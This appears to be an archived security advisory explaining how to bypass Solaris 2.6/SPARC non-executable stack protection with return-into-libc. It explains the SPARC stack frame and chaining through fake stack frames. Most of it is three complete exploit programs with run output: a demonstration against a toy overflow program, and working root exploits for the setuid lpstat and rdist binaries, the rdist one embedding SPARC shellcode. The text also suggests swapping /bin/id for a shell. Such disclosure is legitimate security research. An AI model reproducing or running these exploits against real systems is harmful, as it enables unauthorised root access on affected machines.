COMMAND

    rdist and lpstat (Defeating Solaris/SPARC Non-Executable Stack Protection)

SYSTEMS AFFECTED

    SunOS/Solaris

PROBLEM

    John  McDonald  found  following.   He  has  been recently playing
    around  with  bypassing  the  non-executable stack protection that
    Solaris 2.6 provides (referring to the mechanism that you  control
    with the noexec_user_stack option in /etc/system).  He found  it's
    quite possible to bypass this protection, using methods  described
    previously  by  some  people.   Specifically,  he  had  success in
    adapting the return into libc methods introduced by Solar Designer
    and Nergal to Solaris/SPARC (see some previous advisories).   John
    included some sample  code here, including  an exploit for  rdist,
    and an exploit for lpstat. These exploits should work on  machines
    with the stack  protection enabled, though  they may require  some
    groundwork before being used.  Neither of these programs exploit a
    new bug,  so the  appropriate fixes  for these  holes should  work
    fine.

    Ok.. it's  important to  have a  general understanding  of how the
    stack is layed  out under SPARC/Solaris.   There are several  good
    references on the  net for this  information, so lets  try to keep
    this brief..   The stack  frame looks  roughly like  this (to  the
    best of knowledge):

        Stack inside the body of a function (after save)
        ================================================

        Higher addresses
        ----------------
        %fp+92->any incoming args beyond 6  (possible)
        %fp+68->room for us to store copies of the incoming arguments
        %fp+64->pointer to where we can place our return value if necessary
        %fp+32->saved %i0-%i7
        %fp---->saved %l0-%l7
        %fp---->(previous top of stack)
                *space for automatic variables*
                possible room for temporaries and padding for 8 byte alignment
        %sp+92->possible room for outgoing parameters past 6
        %sp+68->room for next function to store our outgoing arguments (6 words)
        %sp+64->pointer to room for the return value of the next function
        %sp+32->saved %o0-%o7 / room for next non-leaf function to save %i0-%i7
        %sp---->room for next non-leaf function to save %l0-%l7
        %sp---->(top of stack)
        ---------------
        Lower addresses

    So, from the top  of the stack, looking  up, we have room  for the
    next function  to save  our %l  and %i  registers.   A copy of the
    arguments  given  to  us  by  the  previous  function  (the %o0-o7
    registers) are saved at %sp + 0x10.

    Next, there is a  one word pointer to  memory where a function  we
    call can place  it's return value.   Typically, we can  expect the
    return value to be  in %o0, but it  is possible for a  function to
    return  something  that  can't  fit  in  a  register  (such  as  a
    structure).   In this  case, we  place the  address of  the memory
    where we  want the  return value  to be  placed into this location
    before calling the function.   The return value is placed  in that
    memory, and the address of that memory is also returned in %o0.

    Next, we have 6 words reserved for the next function to be able to
    store the arguments we pass  to it through the registers.  Some of
    the sites on the web indicate  that this is necessary in case  the
    called function needs  to be able  to take the  address of one  of
    it's  incoming  parameters  (you  can't  take  the  address  of  a
    register).

    Next on  the stack,  there is  temporary storage  and padding  for
    alignment.  The  stack  pointer  has  to  be  aligned on an 8 byte
    boundary.  Our  automatic variables are  saved on the  stack next.
    From within this function, we can address the automatic  variables
    relative to %fp (%fp - something).

    If we perform an overflow  of an automatic variable, we  are going
    to  overwrite  the  saved  %i  and  %l values of the function that
    called  the  function  with  the  automatic  variable.   When  the
    function with the automatic variable returns, it will return  into
    the caller, because it has  the return address stored in  it's %i7
    register.  Then, the restore instruction will move the contents of
    the %i registers  into the %o  registers. Our bogus  values for %l
    and %i will then  be read from the  stack into the registers.   On
    the next return from a function, the program will return into  the
    address we put at %i7's place  on the stack frame.  This  explains
    why you need two returns to perform a classic buffer overflow.

    Moving on.. In this  advisory, John is presenting  three different
    variations  on  the  return  into  libc  method.  The first one he
    demonstrates with a 'fake' bug.  This is our vulnerable program:

    ---hole.c---
    int jim(char *str)
    {
       char buf[256];
       strcpy(buf,str);
    }

    int main(int argc, char **argv)
    {
       jim(argv[1]);
    }

    hole.c is an extremely simple program with an obvious stack buffer
    overflow.

    If we  wrote a  typical program  to exploit  this, it would follow
    this flow:

        1. The program would proceed to the strcpy..
        2. The strcpy will overwrite the saved %i and %l registers  in
           main's stack frame.
        3. The jim function will do a restore, and increment the  CWP.
           This will result  in our overflowed  values being put  into
           the %i and %l registers. It will 'ret' into main.
        4. The  main function  will then  do a  ret/restore.   The ret
           instruction will  read our  provided %i7,  and transfer the
           flow of control to it.  The CWP will again be  incremented,
           And our bogus %i registers will become the %o registers.

    A typical exploit would return into shellcode on the stack at this
    point, which would do it's thing with basically no regard for what
    is  in  the  registers.   However,  with  the stack protections in
    place,  this  behavior  will  cause  the  processor  to fault upon
    attempting to execute code on a page where it is not permitted.

    To get around this, we wish to have our program return into a libc
    call.  For  this exploit, I've  chosen system(). system()  is easy
    because it only takes  one argument.  When  we enter the code  for
    system(), we expect  it's arguments to  be in %o0-%o7.   Then, the
    system  function  will  do  the  save  instruction,  and  move the
    arguments into the %i0-%i7 registers.  Getting our arguments  into
    system() in the %o0-%o7 registers is somewhat easy to  accomplish.
    Remember that the  first ret/restore will  pull our values  off of
    the stack  into the  %l and  %i registers.   Thus, we  can put any
    values we  want into  these registers  when we  overflow the stack
    based variable.   The second  ret/restore will  move whats  in the
    %i0-%i7 registers into the %o0-%o7 registers, and jump to what  we
    had in the %i7 register.   So, we can put the address  of system()
    in our saved %i7, and  the program's execution will resume  there.
    So, when  the program  enters system(),  the first  instruction it
    will execute  is a  'save'. This  will move  the values in %o0-%o7
    back into %i0-%i7.  Let's look at the exploit:

    /*
       example return into libc exploit for fake vulnerability in './hole'
       by horizon <jmcdonal@unf.edu>

       to compile:

       gcc exhole.c -o exhole -lc -ldl
    */

    #include <stdio.h>
    #include <dlfcn.h>
    #include <signal.h>
    #include <setjmp.h>

    int step;
    jmp_buf env;

    void fault()
    {
       if (step<0)
          longjmp(env,1);
       else
       {
          printf("Couldn't find /bin/sh at a good place in libc.\n");
          exit(1);
       }
    }

    int main(int argc, char **argv)
    {
       void *handle;
       long systemaddr;
       long shell;

       char examp[512];
       char *args[3];
       char *envs[1];

       long *lp;

       if (!(handle=dlopen(NULL,RTLD_LAZY)))
       {
          fprintf(stderr,"Can't dlopen myself.\n");
          exit(1);
       }

       if ((systemaddr=(long)dlsym(handle,"system"))==NULL)
       {
          fprintf(stderr,"Can't find system().\n");
          exit(1);
       }

       systemaddr-=8;

       if (!(systemaddr & 0xff) || !(systemaddr * 0xff00) ||
          !(systemaddr & 0xff0000) || !(systemaddr & 0xff000000))
       {
          fprintf(stderr,"the address of system() contains a '0'. sorry.\n");
          exit(1);
       }

       printf("System found at %lx\n",systemaddr);

       /* let's search for /bin/sh in libc - from SD's original linux exploits */

       if (setjmp(env))
          step=1;
       else
          step=-1;

       shell=systemaddr;

       signal(SIGSEGV,fault);

       do
          while (memcmp((void *)shell, "/bin/sh", 8)) shell+=step;
       while (!(shell & 0xff) || !(shell & 0xff00) || !(shell & 0xff0000)
             || !(shell & 0xff000000));

       printf("/bin/sh found at %lx\n",shell);

       /* our buffer */
       memset(examp,'A',256);
       lp=(long *)&(examp[256]);

       /* junk */
       *lp++=0xdeadbe01;
       *lp++=0xdeadbe02;
       *lp++=0xdeadbe03;
       *lp++=0xdeadbe04;

       /* the saved %l registers */
       *lp++=0xdeadbe10;
       *lp++=0xdeadbe11;
       *lp++=0xdeadbe12;
       *lp++=0xdeadbe13;
       *lp++=0xdeadbe14;
       *lp++=0xdeadbe15;
       *lp++=0xdeadbe16;
       *lp++=0xdeadbe17;

       /* the saved %i registers */

       *lp++=shell;
       *lp++=0xdeadbe11;
       *lp++=0xdeadbe12;
       *lp++=0xdeadbe13;
       *lp++=0xdeadbe14;
       *lp++=0xdeadbe15;

       *lp++=0xeffffbc8;

       /* the address of system  ( -8 )*/
       *lp++=systemaddr;

       *lp++=0x0;

       args[0]="hole";
       args[1]=examp;
       args[2]=NULL;

       envs[0]=NULL;

       execve("./hole",args,envs);
    }

    As you can see, the layout  of the stack past the buffer  has been
    mapped.   This is  easy to  do using  marker values  and gdb.  The
    first thing this exploit does  is find the address of  system() in
    libc.  It does this using the dlopen() and dlsym() functions.   If
    the exploit is linked exactly  the same as the target  executable,
    then we will be able to  predict where libc will be mapped  in the
    target.  The exploit then finds a copy of the string '/bin/sh'  in
    libc.   It  does  this  by  searching  through  the  memory around
    system().  This is almost  the exact same code presented  in Solar
    Designer's original  return-into-libc exploit.   In this  exploit,
    %i0 is set to  the address of the  string '/bin/sh' in libc.   %i6
    (the frame pointer) is  set to 0xeffffbc8.   This is just a  place
    in the stack  that system() can  use as it's  stack. system() will
    look into  the registers  for it's  arguments, so  we don't really
    care what is on  the stack, as long  as system() can safely  write
    to it. %i7  (our return address)  is set to  the address we  found
    for system().  Note that this  is actually the address we wish  to
    go to minus 8, because the ret instruction will add 8 to the saved
    %fp.  (in order to skip the call instruction and it's delay slot).
    So, does it work?

        bash-2.02$ gcc exhole.c -o exhole -lc -ldl
        bash-2.02$ ./exhole
        System found at ef768a84
        /bin/sh found at ef790378
        $

    As you  might expect,  things don't  go quite  so smoothly when we
    attempt this technique in a live exploit.  John have chosen lpstat
    as his next target.

    The  first  problem  you  will  run  into is that the program will
    modify the %i registers after the first return.  This happened  in
    both the lpstat and rdist  exploits.  This problem requires  us to
    extend our technique to be more  powerful.  What John does in  the
    lpstat exploit  is create  a fake  stack frame  in the  env space.
    Then, he puts  it's address in  our saved %fp.   Then, instead  of
    returning into the system() function, he returns into  system()+4,
    bypassing the save instruction.  So, what does all this do?  Well,
    our values get loaded into the %l0-l7 and %i0-%i7 registers  after
    the first ret/restore. The next ret/restore moves our values  into
    %o0-%o7, and jumps  to our saved  %i7.  This  *also* loads in  the
    %i0-%i7 and %l0-%l7 registers from the stack. So, when we  specify
    a saved %fp, and we hit the second restore, the processor  assumes
    our %fp was it's old %sp,  and loads the %l and %i  registers from
    the stack frame at  %fp.  This means  that we can specify  what we
    want the %l and %i registers to contain upon entering wherever  it
    is that we return into.   We skip the 'save' instruction,  because
    that would  move the  %o0-%o7 back  to the  %i0-%i7 registers, and
    overwrite our malicious values.

    Having  solved  that,  we  stumble  onto  our  second problem: the
    system() function uses /bin/sh -c to execute it's argument.  Under
    Solaris, /bin/sh  will drop  it's privileges  if it  is run with a
    non-zero ruid, and an euid of zero.  The obvious solution to  this
    is to try to do a setuid(0) before we run system.

    So, we need to  find a way to  chain functions together.. i.e.  to
    return into one function, and  have it return into another.  It is
    important to note that there are two kinds of functions: leaf  and
    non-leaf functions. The leaf functions do not use any stack  space
    to do their work, and do not call any other functions. Thus,  they
    don't need to use the 'save' instruction to set up a stack  frame.
    They operate using  the registers in  %o0-%o7 as their  arguments.
    When a leaf function is done, it returns by jumping to the address
    it has in  %o7.  The  non-leaf functions are  ones that require  a
    stack  frame,  and  they  use  the  'save',  'ret',  and 'restore'
    instructions.  We can chain non-leaf functions together by  making
    a fake stack frame for every function that we need to return into,
    and placing the address of the next function into the %i7 position
    on  the  fake  stack  frame.  This  works because we skip the save
    instruction, which allows us to  keep feeding in fake stack  frame
    information,  and  specfying  the  %i  and  %l  registers for each
    function we enter.

    However, there is a limitation of our return into libc method:  We
    can't return into a leaf function, unless it is the last  function
    we return into.  A leaf function does not do a save or restore, it
    simply assumes it's  arguments are in  the %o0-%o7 registers.   It
    returns by doing a retl, which jumps to %o7.  The problem is  that
    if  we  return  into  a  leaf  function,  the address of that leaf
    function will be in  %o7.  Thus, when  the leaf function tries  to
    return, it will jump back to itself, causing an infinite loop.  We
    can't get a leaf function to return into another function  because
    it doesn't  use the  ret/restore sequence  to return.   Thus, even
    though we can control what values are in the %i and %l  registers,
    the leaf function will not  use these values for arguments  or the
    return address.

    So, for a solution here, we simply return into execl(). This takes
    very similar arguments  to system, except  that we need  to have a
    NULL argument to terminate the list of arguments. This is easy  to
    do since we are  passing in our fake  stack frame through the  env
    space.  Here is the lpstat exploit:

    /*
       lpstat exploit for Solaris 2.6 - horizon - <jmcdonal@unf.edu>

       This demonstrates the return into libc technique for bypassing stack
       execution protection. This requires some preliminary knowledge for use.

       to compile:

       gcc lpstatex.c -o lpstatex -lprint -lc -lnsl -lsocket -ldl -lxfn -lmp -lC
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/systeminfo.h>
    #include <unistd.h>
    #include <dlfcn.h>

    #define BUF_LENGTH 1024

    int main(int argc, char *argv[])
    {
       char buf[BUF_LENGTH * 2];
       char teststring[BUF_LENGTH * 2];
       char *env[10];
       char fakeframe[512];
       char padding[64];
       char platform[256];

       void *handle;
       long execl_addr;

       u_char *char_p;
       u_long *long_p;
       int i;
       int pad=31;

       if (argc==2) pad+=atoi(argv[1]);

       if (!(handle=dlopen(NULL,RTLD_LAZY)))
       {
          fprintf(stderr,"Can't dlopen myself.\n");
          exit(1);
       }

       if ((execl_addr=(long)dlsym(handle,"execl"))==NULL)
       {
          fprintf(stderr,"Can't find execl().\n");
          exit(1);
       }

       execl_addr-=4;

       if (!(execl_addr & 0xff) || !(execl_addr * 0xff00) ||
          !(execl_addr & 0xff0000) || !(execl_addr & 0xff000000))
       {
          fprintf(stderr,"the address of execl() contains a '0'. sorry.\n");
          exit(1);
       }

       printf("found execl() at %lx\n",execl_addr);

       char_p=buf;

       memset(char_p,'A',BUF_LENGTH);

       long_p=(unsigned long *) (char_p+1024);

       *long_p++=0xdeadbeef;

       /* Here is the saved %i0-%i7 */

       *long_p++=0xdeadbeef;
       *long_p++=0xdeadbeef;
       *long_p++=0xdeadbeef;
       *long_p++=0xdeadbeef;
       *long_p++=0xdeadbeef;
       *long_p++=0xdeadbeef;
       *long_p++=0xeffffb68; // our fake stack frame
       *long_p++=execl_addr;      // we return into execl() in libc
       *long_p++=0;

       /* now we set up our fake stack frame in env */

       long_p=(long *)fakeframe;

       *long_p++=0xdeadbeef; // we don't care about locals
       *long_p++=0xdeadbeef;
       *long_p++=0xdeadbeef;
       *long_p++=0xdeadbeef;
       *long_p++=0xdeadbeef;
       *long_p++=0xdeadbeef;
       *long_p++=0xdeadbeef;
       *long_p++=0xdeadbeef;

       *long_p++=0xefffffac; // points to our string to exec
       *long_p++=0xefffffac; // argv[1] is a copy of argv[0]
       *long_p++=0x0;        // NULL for execl();
       *long_p++=0xefffffcc;
       *long_p++=0xeffffd18;
       *long_p++=0xeffffd18;
       *long_p++=0xeffffd18; // this just has to be somewhere it can work with
       *long_p++=0x11111111; // doesn't matter b/c we exec
       *long_p++=0x0;

       /* This gives us some padding to play with */

       memset(teststring,'A',BUF_LENGTH);
       teststring[BUF_LENGTH]=0;

       sysinfo(SI_PLATFORM,platform,256);

       pad+=20-strlen(platform);

       for (i=0;i<pad;padding[i++]='C')
          padding[i]=0;

       env[0]="";
       env[1]=(fakeframe);
       env[2]=&(fakeframe[40]);
       env[3]=&(fakeframe[40]);
       env[4]=&(fakeframe[40]);
       env[5]=&(fakeframe[44]);
       env[6]=teststring;
       env[7]="A=/bin/id";
       env[8]=padding;
       env[9]=NULL;

       execle("/usr/bin/lpstat","lpstat","-c",buf,(char *)0,env);
       perror("execle failed");
    }

    Looking at this  exploit, you can  see how we  build a fake  stack
    frame in env, and have the  program we are exploiting read it  in.
    We return  into execl(),  just past  the 'save',  and it  uses the
    arguments we provide in %i0-%i7.   Also, note that we pass in  the
    command we  want to  run through  the environment,  as opposed  to
    searching for it in libc.  Here's what it looks like:

        bash-2.02$ gcc lpstatex.c -o lpstatex -lprint -lc -lnsl -lsocket -ldl -lxfn -lmp -lC
        bash-2.02$ ./lpstatex
        found execl() at ef6e93a4

        UX:lpstat: ERROR: Class
        ...
        (lpstat spews for a while)
        ...
                      ¤" does not exist.
               TO FIX: Use the "lpstat -c all" command to list
                      all known classes.
     uid=120(jmcdonal) gid=15(develop) euid=0(root)
     bash-2.02$

    In the exploit, we ran /bin/id, which you see here.  If you are so
    inclined, you can easily change it to run something like  /tmp/aa,
    which will give you the appropriate permissions and exec a  shell.
    So, this works pretty well.  However, we still have a big  problem
    with  our  technique:  it  is  impossible  to  return  into a leaf
    function  before  returning   into  any  other   function.    This
    unfortunately means we cant  return into setuid() or  seteuid() to
    restore our privileges before exec'ing something.  There are a few
    options in overcoming  this problem, but  I have choosen  a fairly
    simple one...

    We will return into a  strcpy, which will copy our  shellcode from
    the env space, into somewhere where it is safe to run it. We  will
    then have that strcpy return  into our shellcode. This exploit  is
    very similar to the previous  one, with the exception that  we are
    doing a second return.  Here is the exploit:

    /*
       rdist exploit for Solaris 2.6 - horizon - <jmcdonal@unf.edu>

       This demonstrates the return into libc technique for bypassing stack
       execution protection. This requires some preliminary knowledge for use.

       to compile:

       gcc rdistex.c -o rdistex -lsocket -lnsl -lc -ldl -lmp
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/systeminfo.h>
    #include <unistd.h>
    #include <dlfcn.h>

    u_char sparc_shellcode[] =
    "\xAA\xAA\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08"
    "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
    "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
    "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
    "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
    "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
    "\x91\xd0\x20\x08\xAA";

    #define BUF_LENGTH 1024

    int main(int argc, char *argv[])
    {
       char buf[BUF_LENGTH * 2];
       char tempbuf[BUF_LENGTH * 2];
       char teststring[BUF_LENGTH * 2];
       char padding[128];
       char *env[10];
       char fakeframe[512];
       char platform[256];

       void *handle;
       long strcpy_addr;
       long dest_addr;

       u_char *char_p;
       u_long *long_p;
       int i;
       int pad=25;

       if (argc==2) pad+=atoi(argv[1]);

       char_p=buf;

       if (!(handle=dlopen(NULL,RTLD_LAZY)))
       {
          fprintf(stderr,"Can't dlopen myself.\n");
          exit(1);
       }

       if ((strcpy_addr=(long)dlsym(handle,"strcpy"))==NULL)
       {
          fprintf(stderr,"Can't find strcpy().\n");
          exit(1);
       }

       strcpy_addr-=4;

       if (!(strcpy_addr & 0xff) || !(strcpy_addr * 0xff00) ||
          !(strcpy_addr & 0xff0000) || !(strcpy_addr & 0xff000000))
       {
          fprintf(stderr,"the address of strcpy() contains a '0'. sorry.\n");
          exit(1);
       }

       printf("found strcpy() at %lx\n",strcpy_addr);

       if ((dest_addr=(long)dlsym(handle,"accept"))==NULL)
       {
          fprintf(stderr,"Can't find accept().\n");
          exit(1);
       }

       dest_addr=dest_addr & 0xffff0000;
       dest_addr+=0x1800c;

       if (!(dest_addr & 0xff) || !(dest_addr & 0xff00) ||
          !(dest_addr & 0xff0000) || !(dest_addr & 0xff000000))
       {
          fprintf(stderr,"the destination address contains a '0'. sorry.\n");
          exit(1);
       }

       printf("found shellcode destination at %lx\n",dest_addr);

       /* hi sygma! */

       memset(char_p,'A',BUF_LENGTH);

       long_p=(unsigned long *) (char_p+1024);

       /* We don't care about the %l registers */

       *long_p++=0xdeadbeef;
       *long_p++=0xdeadbeef;
       *long_p++=0xdeadbeef;
       *long_p++=0xdeadbeef;
       *long_p++=0xdeadbeef;
       *long_p++=0xdeadbeef;
       *long_p++=0xdeadbeef;
       *long_p++=0xdeadbeef;

       /* Here is the saved %i0-%i7 */

       *long_p++=0xdeadbeef;
       *long_p++=0xefffd378; // safe value for dereferencing
       *long_p++=0xefffd378; // safe value for dereferencing
       *long_p++=0xdeadbeef;
       *long_p++=0xdeadbeef;
       *long_p++=0xdeadbeef;
       *long_p++=0xeffffb78; // This is where our fake frame lives
       *long_p++=strcpy_addr; // We return into strcpy
       *long_p++=0;

       long_p=(long *)fakeframe;
       *long_p++=0xAAAAAAAA; // garbage
       *long_p++=0xdeadbeef; // %l0
       *long_p++=0xdeadbeef; // %l1
       *long_p++=0xdeadbeaf; // %l2
       *long_p++=0xdeadbeef; // %l3
       *long_p++=0xdeadbeaf; // %l4
       *long_p++=0xdeadbeef; // %l5
       *long_p++=0xdeadbeaf; // %l6
       *long_p++=0xdeadbeef; // %l7
       *long_p++=dest_addr; // %i0 - our destination (i just picked somewhere)
       *long_p++=0xeffffb18; // %i1 - our source
       *long_p++=0xdeadbeef;
       *long_p++=0xdeadbeef;
       *long_p++=0xdeadbeef;
       *long_p++=0xdeadbeef;
       *long_p++=0xeffffd18; // %fp - just has to be somewhere strcpy can use
       *long_p++=dest_addr-8; // %i7 - return into our shellcode
       *long_p++=0;

       sprintf(tempbuf,"blh=%s",buf);

       /* This gives us some padding to play with */

       memset(teststring,'B',BUF_LENGTH);
       teststring[BUF_LENGTH]=0;

       sysinfo(SI_PLATFORM,platform,256);

       pad+=21-strlen(platform);
       for (i=0;i<pad;padding[i++]='A')
          padding[i]=0;

       env[0]=sparc_shellcode;
       env[1]=&(fakeframe[2]);
       env[2]=teststring;
       env[3]=padding;
       env[4]=NULL;

       execle("/usr/bin/rdist","rdist","-d",tempbuf,"-c","/tmp/","${blh}",
          (char *)0,env);
       perror("execl failed");
    }

    This technique seems to work well:

        bash-2.02$ gcc rdistex.c -o rdistex -lsocket -lnsl -lc -ldl -lmp
        bash-2.02$ ./rdistex
        found strcpy() at ef62427c
        found shellcode destination at ef7a800c
        rdist: line 1: Pathname too long
        ...
        rdist: line 1: Pathname too long
        #

    The lpstat and rdist exploits  expect certain things to be  in the
    environment  at  exact  locations.   We  use  the execle function,
    specifying  the  entire  environment,  so  you wouldn't think this
    would be a  problem. However, Solaris  2.6 puts two  things at the
    very top of the environment space:   the name of the program  that
    is being run, and  the platform of the  machine.  Thus, you  might
    need to adjust the 'pad' variable  if the exploits do not seem  to
    be working.  You can adjust this value via the command line.  It's
    probably best to try increments of 4.   Also, there is a bit of  a
    guess in the rdist exploit as  to where to place the shellcode  in
    libc. The exploit gets the address of a symbol in libsocket,  then
    bitwise ands it with 0xffff0000  and then adds 0x1800c. The  point
    of this  is to  guess at  where the  section for  libsocket's data
    will  be  mapped.  If  this  is  a  problem,  then  you  can   use
    /usr/proc/bin/pmap along with gdb to figure out a good address  to
    store the shellcode in.

SOLUTION

    Check rdist and lpstat as this exploits do exploit those  programs
    by another aproach.